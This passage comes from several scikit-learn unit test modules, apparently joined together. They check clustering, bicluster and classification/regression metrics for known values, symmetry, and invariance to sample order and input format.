        assert_raise_message(ValueError, expected, score_func,
                             [0, 1, 0], [[1, 1], [0, 0]])


def test_perfect_matches():
    for score_func in score_funcs:
        assert_equal(score_func([], []), 1.0)
        assert_equal(score_func([0], [1]), 1.0)
        assert_equal(score_func([0, 0, 0], [0, 0, 0]), 1.0)
        assert_equal(score_func([0, 1, 0], [42, 7, 42]), 1.0)
        assert_equal(score_func([0., 1., 0.], [42., 7., 42.]), 1.0)
        assert_equal(score_func([0., 1., 2.], [42., 7., 2.]), 1.0)
        assert_equal(score_func([0, 1, 2], [42, 7, 2]), 1.0)


def test_homogeneous_but_not_complete_labeling():
    # homogeneous but not complete clustering
    h, c, v = homogeneity_completeness_v_measure(
        [0, 0, 0, 1, 1, 1],
        [0, 0, 0, 1, 2, 2])
    assert_almost_equal(h, 1.00, 2)
    assert_almost_equal(c, 0.69, 2)
    assert_almost_equal(v, 0.81, 2)


def test_complete_but_not_homogeneous_labeling():
    # complete but not homogeneous clustering
    h, c, v = homogeneity_completeness_v_measure(
        [0, 0, 1, 1, 2, 2],
        [0, 0, 1, 1, 1, 1])
    assert_almost_equal(h, 0.58, 2)
    assert_almost_equal(c, 1.00, 2)
    assert_almost_equal(v, 0.73, 2)


def test_not_complete_and_not_homogeneous_labeling():
    # neither complete nor homogeneous but not so bad either
    h, c, v = homogeneity_completeness_v_measure(
        [0, 0, 0, 1, 1, 1],
        [0, 1, 0, 1, 2, 2])
    assert_almost_equal(h, 0.67, 2)
    assert_almost_equal(c, 0.42, 2)
    assert_almost_equal(v, 0.52, 2)


def test_non_consicutive_labels():
    # regression tests for labels with gaps
    h, c, v = homogeneity_completeness_v_measure(
        [0, 0, 0, 2, 2, 2],
        [0, 1, 0, 1, 2, 2])
    assert_almost_equal(h, 0.67, 2)
    assert_almost_equal(c, 0.42, 2)
    assert_almost_equal(v, 0.52, 2)

    h, c, v = homogeneity_completeness_v_measure(
        [0, 0, 0, 1, 1, 1],
        [0, 4, 0, 4, 2, 2])
    assert_almost_equal(h, 0.67, 2)
    assert_almost_equal(c, 0.42, 2)
    assert_almost_equal(v, 0.52, 2)

    ari_1 = adjusted_rand_score([0, 0, 0, 1, 1, 1], [0, 1, 0, 1, 2, 2])
    ari_2 = adjusted_rand_score([0, 0, 0, 1, 1, 1], [0, 4, 0, 4, 2, 2])
    assert_almost_equal(ari_1, 0.24, 2)
    assert_almost_equal(ari_2, 0.24, 2)


def uniform_labelings_scores(score_func, n_samples, k_range, n_runs=10,
                             seed=42):
    # Compute score for random uniform cluster labelings
    random_labels = np.random.RandomState(seed).randint
    scores = np.zeros((len(k_range), n_runs))
    for i, k in enumerate(k_range):
        for j in range(n_runs):
            labels_a = random_labels(low=0, high=k, size=n_samples)
            labels_b = random_labels(low=0, high=k, size=n_samples)
            scores[i, j] = score_func(labels_a, labels_b)
    return scores


def test_adjustment_for_chance():
    # Check that adjusted scores are almost zero on random labels
    n_clusters_range = [2, 10, 50, 90]
    n_samples = 100
    n_runs = 10

    scores = uniform_labelings_scores(
        adjusted_rand_score, n_samples, n_clusters_range, n_runs)

    max_abs_scores = np.abs(scores).max(axis=1)
    assert_array_almost_equal(max_abs_scores, [0.02, 0.03, 0.03, 0.02], 2)


def test_adjusted_mutual_info_score():
    # Compute the Adjusted Mutual Information and test against known values
    labels_a = np.array([1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3])
    labels_b = np.array([1, 1, 1, 1, 2, 1, 2, 2, 2, 2, 3, 1, 3, 3, 3, 2, 2])
    # Mutual information
    mi = mutual_info_score(labels_a, labels_b)
    assert_almost_equal(mi, 0.41022, 5)
    # Expected mutual information
    C = contingency_matrix(labels_a, labels_b)
    n_samples = np.sum(C)
    emi = expected_mutual_information(C, n_samples)
    assert_almost_equal(emi, 0.15042, 5)
    # Adjusted mutual information
    ami = adjusted_mutual_info_score(labels_a, labels_b)
    assert_almost_equal(ami, 0.27502, 5)
    ami = adjusted_mutual_info_score([1, 1, 2, 2], [2, 2, 3, 3])
    assert_equal(ami, 1.0)
    # Test with a very large array
    a110 = np.array([list(labels_a) * 110]).flatten()
    b110 = np.array([list(labels_b) * 110]).flatten()
    ami = adjusted_mutual_info_score(a110, b110)
    # This is not accurate to more than 2 places
    assert_almost_equal(ami, 0.37, 2)


def test_expected_mutual_info_overflow():
    # Test for regression where contingency cell exceeds 2**16
    # leading to overflow in np.outer, resulting in EMI > 1
    assert expected_mutual_information(np.array([[70000]]), 70000) <= 1


def test_entropy():
    ent = entropy([0, 0, 42.])
    assert_almost_equal(ent, 0.6365141, 5)
    assert_almost_equal(entropy([]), 1)


def test_contingency_matrix():
    labels_a = np.array([1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3])
    labels_b = np.array([1, 1, 1, 1, 2, 1, 2, 2, 2, 2, 3, 1, 3, 3, 3, 2, 2])
    C = contingency_matrix(labels_a, labels_b)
    C2 = np.histogram2d(labels_a, labels_b,
                        bins=(np.arange(1, 5),
                              np.arange(1, 5)))[0]
    assert_array_almost_equal(C, C2)
    C = contingency_matrix(labels_a, labels_b, eps=.1)
    assert_array_almost_equal(C, C2 + .1)


def test_exactly_zero_info_score():
    # Check numerical stability when information is exactly zero
    for i in np.logspace(1, 4, 4).astype(np.int):
        labels_a, labels_b = np.ones(i, dtype=np.int),\
            np.arange(i, dtype=np.int)
        assert_equal(normalized_mutual_info_score(labels_a, labels_b,
                                                  max_n_classes=1e4), 0.0)
        assert_equal(v_measure_score(labels_a, labels_b,
                                     max_n_classes=1e4), 0.0)
        assert_equal(adjusted_mutual_info_score(labels_a, labels_b,
                                                max_n_classes=1e4), 0.0)
        assert_equal(normalized_mutual_info_score(labels_a, labels_b,
                                                  max_n_classes=1e4), 0.0)


def test_v_measure_and_mutual_information(seed=36):
    # Check relation between v_measure, entropy and mutual information
    for i in np.logspace(1, 4, 4).astype(np.int):
        random_state = np.random.RandomState(seed)
        labels_a, labels_b = random_state.randint(0, 10, i),\
            random_state.randint(0, 10, i)
        assert_almost_equal(v_measure_score(labels_a, labels_b),
                            2.0 * mutual_info_score(labels_a, labels_b) /
                            (entropy(labels_a) + entropy(labels_b)), 0)


def test_max_n_classes():
    rng = np.random.RandomState(seed=0)
    labels_true = rng.rand(53)
    labels_pred = rng.rand(53)
    labels_zero = np.zeros(53)
    labels_true[:2] = 0
    labels_zero[:3] = 1
    labels_pred[:2] = 0
    for score_func in score_funcs:
        expected = ("Too many classes for a clustering metric. If you "
                    "want to increase the limit, pass parameter "
                    "max_n_classes to the scoring function")
        assert_raise_message(ValueError, expected, score_func,
                             labels_true, labels_pred,
                             max_n_classes=50)
        expected = ("Too many clusters for a clustering metric. If you "
                    "want to increase the limit, pass parameter "
                    "max_n_classes to the scoring function")
        assert_raise_message(ValueError, expected, score_func,
                             labels_zero, labels_pred,
                             max_n_classes=50)


def test_fowlkes_mallows_score():
    # General case
    score = fowlkes_mallows_score([0, 0, 0, 1, 1, 1],
                                  [0, 0, 1, 1, 2, 2])
    assert_almost_equal(score, 4. / np.sqrt(12. * 6.))

    # Perfect match but where the label names changed
    perfect_score = fowlkes_mallows_score([0, 0, 0, 1, 1, 1],
                                          [1, 1, 1, 0, 0, 0])
    assert_almost_equal(perfect_score, 1.)

    # Worst case
    worst_score = fowlkes_mallows_score([0, 0, 0, 0, 0, 0],
                                        [0, 1, 2, 3, 4, 5])
    assert_almost_equal(worst_score, 0.)






import numpy as np
import scipy.sparse as sp
from scipy.sparse import csr_matrix

from sklearn import datasets
from sklearn.utils.testing import assert_false
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_raises_regexp
from sklearn.utils.testing import assert_raise_message
from sklearn.utils.testing import assert_greater
from sklearn.metrics.cluster import silhouette_score
from sklearn.metrics.cluster import calinski_harabaz_score
from sklearn.metrics import pairwise_distances


def test_silhouette():
    # Tests the Silhouette Coefficient.
    dataset = datasets.load_iris()
    X_dense = dataset.data
    X_csr = csr_matrix(X_dense)
    X_dok = sp.dok_matrix(X_dense)
    X_lil = sp.lil_matrix(X_dense)
    y = dataset.target

    for X in [X_dense, X_csr, X_dok, X_lil]:
        D = pairwise_distances(X, metric='euclidean')
        # Given that the actual labels are used, we can assume that S would be
        # positive.
        score_precomputed = silhouette_score(D, y, metric='precomputed')
        assert_greater(score_precomputed, 0)
        # Test without calculating D
        score_euclidean = silhouette_score(X, y, metric='euclidean')
        assert_almost_equal(score_precomputed, score_euclidean)

        if X is X_dense:
            score_dense_without_sampling = score_precomputed
        else:
            assert_almost_equal(score_euclidean,
                                score_dense_without_sampling)

        # Test with sampling
        score_precomputed = silhouette_score(D, y, metric='precomputed',
                                             sample_size=int(X.shape[0] / 2),
                                             random_state=0)
        score_euclidean = silhouette_score(X, y, metric='euclidean',
                                           sample_size=int(X.shape[0] / 2),
                                           random_state=0)
        assert_greater(score_precomputed, 0)
        assert_greater(score_euclidean, 0)
        assert_almost_equal(score_euclidean, score_precomputed)

        if X is X_dense:
            score_dense_with_sampling = score_precomputed
        else:
            assert_almost_equal(score_euclidean, score_dense_with_sampling)


def test_no_nan():
    # Assert Silhouette Coefficient != nan when there is 1 sample in a class.
    # This tests for the condition that caused issue 960.
    # Note that there is only one sample in cluster 0. This used to cause the
    # silhouette_score to return nan (see bug #960).
    labels = np.array([1, 0, 1, 1, 1])
    # The distance matrix doesn't actually matter.
    D = np.random.RandomState(0).rand(len(labels), len(labels))
    silhouette = silhouette_score(D, labels, metric='precomputed')
    assert_false(np.isnan(silhouette))


def test_correct_labelsize():
    # Assert 1 < n_labels < n_samples
    dataset = datasets.load_iris()
    X = dataset.data

    # n_labels = n_samples
    y = np.arange(X.shape[0])
    assert_raises_regexp(ValueError,
                         'Number of labels is %d\. Valid values are 2 '
                         'to n_samples - 1 \(inclusive\)' % len(np.unique(y)),
                         silhouette_score, X, y)

    # n_labels = 1
    y = np.zeros(X.shape[0])
    assert_raises_regexp(ValueError,
                         'Number of labels is %d\. Valid values are 2 '
                         'to n_samples - 1 \(inclusive\)' % len(np.unique(y)),
                         silhouette_score, X, y)


def test_non_encoded_labels():
    dataset = datasets.load_iris()
    X = dataset.data
    labels = dataset.target
    assert_equal(
        silhouette_score(X, labels + 10), silhouette_score(X, labels))


def test_non_numpy_labels():
    dataset = datasets.load_iris()
    X = dataset.data
    y = dataset.target
    assert_equal(
        silhouette_score(list(X), list(y)), silhouette_score(X, y))


def test_calinski_harabaz_score():
    rng = np.random.RandomState(seed=0)

    # Assert message when there is only one label
    assert_raise_message(ValueError, "Number of labels is",
                         calinski_harabaz_score,
                         rng.rand(10, 2), np.zeros(10))

    # Assert message when all point are in different clusters
    assert_raise_message(ValueError, "Number of labels is",
                         calinski_harabaz_score,
                         rng.rand(10, 2), np.arange(10))

    # Assert the value is 1. when all samples are equals
    assert_equal(1., calinski_harabaz_score(np.ones((10, 2)),
                                            [0] * 5 + [1] * 5))

    # Assert the value is 0. when all the mean cluster are equal
    assert_equal(0., calinski_harabaz_score([[-1, -1], [1, 1]] * 10,
                                            [0] * 10 + [1] * 10))

    # General case (with non numpy arrays)
    X = ([[0, 0], [1, 1]] * 5 + [[3, 3], [4, 4]] * 5 +
         [[0, 4], [1, 3]] * 5 + [[3, 1], [4, 0]] * 5)
    labels = [0] * 10 + [1] * 10 + [2] * 10 + [3] * 10
    assert_almost_equal(calinski_harabaz_score(X, labels),
                        45 * (40 - 4) / (5 * (4 - 1)))






"""Testing for bicluster metrics module"""

import numpy as np

from sklearn.utils.testing import assert_equal, assert_almost_equal

from sklearn.metrics.cluster.bicluster import _jaccard
from sklearn.metrics import consensus_score


def test_jaccard():
    a1 = np.array([True, True, False, False])
    a2 = np.array([True, True, True, True])
    a3 = np.array([False, True, True, False])
    a4 = np.array([False, False, True, True])

    assert_equal(_jaccard(a1, a1, a1, a1), 1)
    assert_equal(_jaccard(a1, a1, a2, a2), 0.25)
    assert_equal(_jaccard(a1, a1, a3, a3), 1.0 / 7)
    assert_equal(_jaccard(a1, a1, a4, a4), 0)


def test_consensus_score():
    a = [[True, True, False, False],
         [False, False, True, True]]
    b = a[::-1]

    assert_equal(consensus_score((a, a), (a, a)), 1)
    assert_equal(consensus_score((a, a), (b, b)), 1)
    assert_equal(consensus_score((a, b), (a, b)), 1)
    assert_equal(consensus_score((a, b), (b, a)), 1)

    assert_equal(consensus_score((a, a), (b, a)), 0)
    assert_equal(consensus_score((a, a), (a, b)), 0)
    assert_equal(consensus_score((b, b), (a, b)), 0)
    assert_equal(consensus_score((b, b), (b, a)), 0)


def test_consensus_score_issue2445():
    ''' Different number of biclusters in A and B'''
    a_rows = np.array([[True, True, False, False],
                       [False, False, True, True],
                       [False, False, False, True]])
    a_cols = np.array([[True, True, False, False],
                       [False, False, True, True],
                       [False, False, False, True]])
    idx = [0, 2]
    s = consensus_score((a_rows, a_cols), (a_rows[idx], a_cols[idx]))
    # B contains 2 of the 3 biclusters in A, so score should be 2/3
    assert_almost_equal(s, 2.0/3.0)












from __future__ import division, print_function

from functools import partial
from itertools import product

import numpy as np
import scipy.sparse as sp

from sklearn.datasets import make_multilabel_classification
from sklearn.preprocessing import LabelBinarizer
from sklearn.utils.multiclass import type_of_target
from sklearn.utils.validation import check_random_state
from sklearn.utils import shuffle

from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_greater
from sklearn.utils.testing import assert_not_equal
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_raise_message
from sklearn.utils.testing import assert_true
from sklearn.utils.testing import ignore_warnings

from sklearn.metrics import accuracy_score
from sklearn.metrics import average_precision_score
from sklearn.metrics import brier_score_loss
from sklearn.metrics import cohen_kappa_score
from sklearn.metrics import confusion_matrix
from sklearn.metrics import coverage_error
from sklearn.metrics import explained_variance_score
from sklearn.metrics import f1_score
from sklearn.metrics import fbeta_score
from sklearn.metrics import hamming_loss
from sklearn.metrics import hinge_loss
from sklearn.metrics import jaccard_similarity_score
from sklearn.metrics import label_ranking_average_precision_score
from sklearn.metrics import label_ranking_loss
from sklearn.metrics import log_loss
from sklearn.metrics import matthews_corrcoef
from sklearn.metrics import mean_absolute_error
from sklearn.metrics import mean_squared_error
from sklearn.metrics import median_absolute_error
from sklearn.metrics import precision_score
from sklearn.metrics import r2_score
from sklearn.metrics import recall_score
from sklearn.metrics import roc_auc_score
from sklearn.metrics import zero_one_loss

# TODO Curve are currently not covered by invariance test
# from sklearn.metrics import precision_recall_curve
# from sklearn.metrics import roc_curve


from sklearn.metrics.base import _average_binary_score


# Note toward developers about metric testing
# -------------------------------------------
# It is often possible to write one general test for several metrics:
#
#   - invariance properties, e.g. invariance to sample order
#   - common behavior for an argument, e.g. the "normalize" with value True
#     will return the mean of the metrics and with value False will return
#     the sum of the metrics.
#
# In order to improve the overall metric testing, it is a good idea to write
# first a specific test for the given metric and then add a general test for
# all metrics that have the same behavior.
#
# Two types of datastructures are used in order to implement this system:
# dictionaries of metrics and lists of metrics wit common properties.
#
# Dictionaries of metrics
# ------------------------
# The goal of having those dictionaries is to have an easy way to call a
# particular metric and associate a name to each function:
#
#   - REGRESSION_METRICS: all regression metrics.
#   - CLASSIFICATION_METRICS: all classification metrics
#     which compare a ground truth and the estimated targets as returned by a
#     classifier.
#   - THRESHOLDED_METRICS: all classification metrics which
#     compare a ground truth and a score, e.g. estimated probabilities or
#     decision function (format might vary)
#
# Those dictionaries will be used to test systematically some invariance
# properties, e.g. invariance toward several input layout.
#

REGRESSION_METRICS = {
    "mean_absolute_error": mean_absolute_error,
    "mean_squared_error": mean_squared_error,
    "median_absolute_error": median_absolute_error,
    "explained_variance_score": explained_variance_score,
    "r2_score": partial(r2_score, multioutput='variance_weighted'),
}

CLASSIFICATION_METRICS = {
    "accuracy_score": accuracy_score,
    "unnormalized_accuracy_score": partial(accuracy_score, normalize=False),
    "confusion_matrix": confusion_matrix,
    "hamming_loss": hamming_loss,

    "jaccard_similarity_score": jaccard_similarity_score,
    "unnormalized_jaccard_similarity_score":
    partial(jaccard_similarity_score, normalize=False),

    "zero_one_loss": zero_one_loss,
    "unnormalized_zero_one_loss": partial(zero_one_loss, normalize=False),

    # These are needed to test averaging
    "precision_score": precision_score,
    "recall_score": recall_score,
    "f1_score": f1_score,
    "f2_score": partial(fbeta_score, beta=2),
    "f0.5_score": partial(fbeta_score, beta=0.5),
    "matthews_corrcoef_score": matthews_corrcoef,

    "weighted_f0.5_score": partial(fbeta_score, average="weighted", beta=0.5),
    "weighted_f1_score": partial(f1_score, average="weighted"),
    "weighted_f2_score": partial(fbeta_score, average="weighted", beta=2),
    "weighted_precision_score": partial(precision_score, average="weighted"),
    "weighted_recall_score": partial(recall_score, average="weighted"),

    "micro_f0.5_score": partial(fbeta_score, average="micro", beta=0.5),
    "micro_f1_score": partial(f1_score, average="micro"),
    "micro_f2_score": partial(fbeta_score, average="micro", beta=2),
    "micro_precision_score": partial(precision_score, average="micro"),
    "micro_recall_score": partial(recall_score, average="micro"),

    "macro_f0.5_score": partial(fbeta_score, average="macro", beta=0.5),
    "macro_f1_score": partial(f1_score, average="macro"),
    "macro_f2_score": partial(fbeta_score, average="macro", beta=2),
    "macro_precision_score": partial(precision_score, average="macro"),
    "macro_recall_score": partial(recall_score, average="macro"),

    "samples_f0.5_score": partial(fbeta_score, average="samples", beta=0.5),
    "samples_f1_score": partial(f1_score, average="samples"),
    "samples_f2_score": partial(fbeta_score, average="samples", beta=2),
    "samples_precision_score": partial(precision_score, average="samples"),
    "samples_recall_score": partial(recall_score, average="samples"),

    "cohen_kappa_score": cohen_kappa_score,
}

THRESHOLDED_METRICS = {
    "coverage_error": coverage_error,
    "label_ranking_loss": label_ranking_loss,
    "log_loss": log_loss,
    "unnormalized_log_loss": partial(log_loss, normalize=False),

    "hinge_loss": hinge_loss,

    "brier_score_loss": brier_score_loss,

    "roc_auc_score": roc_auc_score,
    "weighted_roc_auc": partial(roc_auc_score, average="weighted"),
    "samples_roc_auc": partial(roc_auc_score, average="samples"),
    "micro_roc_auc": partial(roc_auc_score, average="micro"),
    "macro_roc_auc": partial(roc_auc_score, average="macro"),

    "average_precision_score": average_precision_score,
    "weighted_average_precision_score":
    partial(average_precision_score, average="weighted"),
    "samples_average_precision_score":
    partial(average_precision_score, average="samples"),
    "micro_average_precision_score":
    partial(average_precision_score, average="micro"),
    "macro_average_precision_score":
    partial(average_precision_score, average="macro"),
    "label_ranking_average_precision_score":
    label_ranking_average_precision_score,
}

ALL_METRICS = dict()
ALL_METRICS.update(THRESHOLDED_METRICS)
ALL_METRICS.update(CLASSIFICATION_METRICS)
ALL_METRICS.update(REGRESSION_METRICS)

# Lists of metrics with common properties
# ---------------------------------------
# Lists of metrics with common properties are used to test systematically some
# functionalities and invariance, e.g. SYMMETRIC_METRICS lists all metrics that
# are symmetric with respect to their input argument y_true and y_pred.
#
# When you add a new metric or functionality, check if a general test
# is already written.

# Those metrics don't support binary inputs
METRIC_UNDEFINED_BINARY = [
    "samples_f0.5_score",
    "samples_f1_score",
    "samples_f2_score",
    "samples_precision_score",
    "samples_recall_score",
    "coverage_error",

    "roc_auc_score",
    "micro_roc_auc",
    "weighted_roc_auc",
    "macro_roc_auc",
    "samples_roc_auc",

    "average_precision_score",
    "weighted_average_precision_score",
    "micro_average_precision_score",
    "macro_average_precision_score",
    "samples_average_precision_score",

    "label_ranking_loss",
    "label_ranking_average_precision_score",
]

# Those metrics don't support multiclass inputs
METRIC_UNDEFINED_MULTICLASS = [
    "brier_score_loss",
    "matthews_corrcoef_score",
]

# Metric undefined with "binary" or "multiclass" input
METRIC_UNDEFINED_BINARY_MULTICLASS = set(METRIC_UNDEFINED_BINARY).union(
    set(METRIC_UNDEFINED_MULTICLASS))

# Metrics with an "average" argument
METRICS_WITH_AVERAGING = [
    "precision_score", "recall_score", "f1_score", "f2_score", "f0.5_score"
]

# Threshold-based metrics with an "average" argument
THRESHOLDED_METRICS_WITH_AVERAGING = [
    "roc_auc_score", "average_precision_score",
]

# Metrics with a "pos_label" argument
METRICS_WITH_POS_LABEL = [
    "roc_curve",

    "brier_score_loss",

    "precision_score", "recall_score", "f1_score", "f2_score", "f0.5_score",

    # pos_label support deprecated; to be removed in 0.18:
    "weighted_f0.5_score", "weighted_f1_score", "weighted_f2_score",
    "weighted_precision_score", "weighted_recall_score",

    "micro_f0.5_score", "micro_f1_score", "micro_f2_score",
    "micro_precision_score", "micro_recall_score",

    "macro_f0.5_score", "macro_f1_score", "macro_f2_score",
    "macro_precision_score", "macro_recall_score",
]

# Metrics with a "labels" argument
# TODO: Handle multi_class metrics that has a labels argument as well as a
# decision function argument. e.g hinge_loss
METRICS_WITH_LABELS = [
    "confusion_matrix",

    "precision_score", "recall_score", "f1_score", "f2_score", "f0.5_score",

    "weighted_f0.5_score", "weighted_f1_score", "weighted_f2_score",
    "weighted_precision_score", "weighted_recall_score",

    "micro_f0.5_score", "micro_f1_score", "micro_f2_score",
    "micro_precision_score", "micro_recall_score",

    "macro_f0.5_score", "macro_f1_score", "macro_f2_score",
    "macro_precision_score", "macro_recall_score",

    "cohen_kappa_score",
]

# Metrics with a "normalize" option
METRICS_WITH_NORMALIZE_OPTION = [
    "accuracy_score",
    "jaccard_similarity_score",
    "zero_one_loss",
]

# Threshold-based metrics with "multilabel-indicator" format support
THRESHOLDED_MULTILABEL_METRICS = [
    "log_loss",
    "unnormalized_log_loss",

    "roc_auc_score", "weighted_roc_auc", "samples_roc_auc",
    "micro_roc_auc", "macro_roc_auc",

    "average_precision_score", "weighted_average_precision_score",
    "samples_average_precision_score", "micro_average_precision_score",
    "macro_average_precision_score",

    "coverage_error", "label_ranking_loss",
]

# Classification metrics with  "multilabel-indicator" format
MULTILABELS_METRICS = [
    "accuracy_score", "unnormalized_accuracy_score",
    "hamming_loss",
    "jaccard_similarity_score", "unnormalized_jaccard_similarity_score",
    "zero_one_loss", "unnormalized_zero_one_loss",

    "precision_score", "recall_score", "f1_score", "f2_score", "f0.5_score",

    "weighted_f0.5_score", "weighted_f1_score", "weighted_f2_score",
    "weighted_precision_score", "weighted_recall_score",

    "micro_f0.5_score", "micro_f1_score", "micro_f2_score",
    "micro_precision_score", "micro_recall_score",

    "macro_f0.5_score", "macro_f1_score", "macro_f2_score",
    "macro_precision_score", "macro_recall_score",

    "samples_f0.5_score", "samples_f1_score", "samples_f2_score",
    "samples_precision_score", "samples_recall_score",
]

# Regression metrics with "multioutput-continuous" format support
MULTIOUTPUT_METRICS = [
    "mean_absolute_error", "mean_squared_error", "r2_score",
    "explained_variance_score"
]

# Symmetric with respect to their input arguments y_true and y_pred
# metric(y_true, y_pred) == metric(y_pred, y_true).
SYMMETRIC_METRICS = [
    "accuracy_score", "unnormalized_accuracy_score",
    "hamming_loss",
    "jaccard_similarity_score", "unnormalized_jaccard_similarity_score",
    "zero_one_loss", "unnormalized_zero_one_loss",

    "f1_score", "weighted_f1_score", "micro_f1_score", "macro_f1_score",

    "matthews_corrcoef_score", "mean_absolute_error", "mean_squared_error",
    "median_absolute_error",

    "cohen_kappa_score",
]

# Asymmetric with respect to their input arguments y_true and y_pred
# metric(y_true, y_pred) != metric(y_pred, y_true).
NOT_SYMMETRIC_METRICS = [
    "explained_variance_score",
    "r2_score",
    "confusion_matrix",

    "precision_score", "recall_score", "f2_score", "f0.5_score",

    "weighted_f0.5_score", "weighted_f2_score", "weighted_precision_score",
    "weighted_recall_score",

    "micro_f0.5_score", "micro_f2_score", "micro_precision_score",
    "micro_recall_score",

    "macro_f0.5_score", "macro_f2_score", "macro_precision_score",
    "macro_recall_score", "log_loss", "hinge_loss"
]


# No Sample weight support
METRICS_WITHOUT_SAMPLE_WEIGHT = [
    "cohen_kappa_score",
    "confusion_matrix", # Left this one here because the tests in this file do
                        # not work for confusion_matrix, as its output is a
                        # matrix instead of a number. Testing of
                        # confusion_matrix with sample_weight is in
                        # test_classification.py
    "median_absolute_error",
]


@ignore_warnings
def test_symmetry():
    # Test the symmetry of score and loss functions
    random_state = check_random_state(0)
    y_true = random_state.randint(0, 2, size=(20, ))
    y_pred = random_state.randint(0, 2, size=(20, ))

    # We shouldn't forget any metrics
    assert_equal(set(SYMMETRIC_METRICS).union(
        NOT_SYMMETRIC_METRICS, THRESHOLDED_METRICS,
        METRIC_UNDEFINED_BINARY_MULTICLASS), set(ALL_METRICS))

    assert_equal(
        set(SYMMETRIC_METRICS).intersection(set(NOT_SYMMETRIC_METRICS)),
        set([]))

    # Symmetric metric
    for name in SYMMETRIC_METRICS:
        metric = ALL_METRICS[name]
        assert_almost_equal(metric(y_true, y_pred),
                            metric(y_pred, y_true),
                            err_msg="%s is not symmetric" % name)

    # Not symmetric metrics
    for name in NOT_SYMMETRIC_METRICS:
        metric = ALL_METRICS[name]
        assert_true(np.any(metric(y_true, y_pred) != metric(y_pred, y_true)),
                    msg="%s seems to be symmetric" % name)


@ignore_warnings
def test_sample_order_invariance():
    random_state = check_random_state(0)
    y_true = random_state.randint(0, 2, size=(20, ))
    y_pred = random_state.randint(0, 2, size=(20, ))
    y_true_shuffle, y_pred_shuffle = shuffle(y_true, y_pred, random_state=0)

    for name, metric in ALL_METRICS.items():
        if name in METRIC_UNDEFINED_BINARY_MULTICLASS:
            continue

        assert_almost_equal(metric(y_true, y_pred),
                            metric(y_true_shuffle, y_pred_shuffle),
                            err_msg="%s is not sample order invariant"
                                    % name)


@ignore_warnings
def test_sample_order_invariance_multilabel_and_multioutput():
    random_state = check_random_state(0)

    # Generate some data
    y_true = random_state.randint(0, 2, size=(20, 25))
    y_pred = random_state.randint(0, 2, size=(20, 25))
    y_score = random_state.normal(size=y_true.shape)

    y_true_shuffle, y_pred_shuffle, y_score_shuffle = shuffle(y_true,
                                                              y_pred,
                                                              y_score,
                                                              random_state=0)

    for name in MULTILABELS_METRICS:
        metric = ALL_METRICS[name]
        assert_almost_equal(metric(y_true, y_pred),
                            metric(y_true_shuffle, y_pred_shuffle),
                            err_msg="%s is not sample order invariant"
                                    % name)

    for name in THRESHOLDED_MULTILABEL_METRICS:
        metric = ALL_METRICS[name]
        assert_almost_equal(metric(y_true, y_score),
                            metric(y_true_shuffle, y_score_shuffle),
                            err_msg="%s is not sample order invariant"
                                    % name)

    for name in MULTIOUTPUT_METRICS:
        metric = ALL_METRICS[name]
        assert_almost_equal(metric(y_true, y_score),
                            metric(y_true_shuffle, y_score_shuffle),
                            err_msg="%s is not sample order invariant"
                                    % name)
        assert_almost_equal(metric(y_true, y_pred),
                            metric(y_true_shuffle, y_pred_shuffle),
                            err_msg="%s is not sample order invariant"
                                    % name)


@ignore_warnings
def test_format_invariance_with_1d_vectors():
    random_state = check_random_state(0)
    y1 = random_state.randint(0, 2, size=(20, ))
    y2 = random_state.randint(0, 2, size=(20, ))

    y1_list = list(y1)
    y2_list = list(y2)

    y1_1d, y2_1d = np.array(y1), np.array(y2)
    assert_equal(y1_1d.ndim, 1)
    assert_equal(y2_1d.ndim, 1)
    y1_column = np.reshape(y1_1d, (-1, 1))
    y2_column = np.reshape(y2_1d, (-1, 1))
    y1_row = np.reshape(y1_1d, (1, -1))
    y2_row = np.reshape(y2_1d, (1, -1))

    for name, metric in ALL_METRICS.items():
        if name in METRIC_UNDEFINED_BINARY_MULTICLASS:
            continue

        measure = metric(y1, y2)

        assert_almost_equal(metric(y1_list, y2_list), measure,
                            err_msg="%s is not representation invariant "
                                    "with list" % name)

        assert_almost_equal(metric(y1_1d, y2_1d), measure,
                            err_msg="%s is not representation invariant "
                                    "with np-array-1d" % name)

        assert_almost_equal(metric(y1_column, y2_column), measure,
                            err_msg="%s is not representation invariant "
                                    "with np-array-column" % name)

        # Mix format support
        assert_almost_equal(metric(y1_1d, y2_list), measure,
                            err_msg="%s is not representation invariant "
                                    "with mix np-array-1d and list" % name)

        assert_almost_equal(metric(y1_list, y2_1d), measure,
                            err_msg="%s is not representation invariant "
                                    "with mix np-array-1d and list" % name)

        assert_almost_equal(metric(y1_1d, y2_column), measure,
                            err_msg="%s is not representation invariant "
                                    "with mix np-array-1d and np-array-column"
                                    % name)

        assert_almost_equal(metric(y1_column, y2_1d), measure,
                            err_msg="%s is not representation invariant "
                                    "with mix np-array-1d and np-array-column"
                                    % name)

        assert_almost_equal(metric(y1_list, y2_column), measure,
                            err_msg="%s is not representation invariant "
                                    "with mix list and np-array-column"
                                    % name)

        assert_almost_equal(metric(y1_column, y2_list), measure,
                            err_msg="%s is not representation invariant "
                                    "with mix list and np-array-column"
                                    % name)

        # These mix representations aren't allowed
        assert_raises(ValueError, metric, y1_1d, y2_row)
        assert_raises(ValueError, metric, y1_row, y2_1d)
        assert_raises(ValueError, metric, y1_list, y2_row)
        assert_raises(ValueError, metric, y1_row, y2_list)
        assert_raises(ValueError, metric, y1_column, y2_row)
        assert_raises(ValueError, metric, y1_row, y2_column)

        # NB: We do not test for y1_row, y2_row as these may be
        # interpreted as multilabel or multioutput data.
        if (name not in (MULTIOUTPUT_METRICS + THRESHOLDED_MULTILABEL_METRICS +
                         MULTILABELS_METRICS)):
            assert_raises(ValueError, metric, y1_row, y2_row)


@ignore_warnings
def test_invariance_string_vs_numbers_labels():
    # Ensure that classification metrics with string labels
    random_state = check_random_state(0)
    y1 = random_state.randint(0, 2, size=(20, ))
    y2 = random_state.randint(0, 2, size=(20, ))

    y1_str = np.array(["eggs", "spam"])[y1]
    y2_str = np.array(["eggs", "spam"])[y2]

    pos_label_str = "spam"
    labels_str = ["eggs", "spam"]

    for name, metric in CLASSIFICATION_METRICS.items():
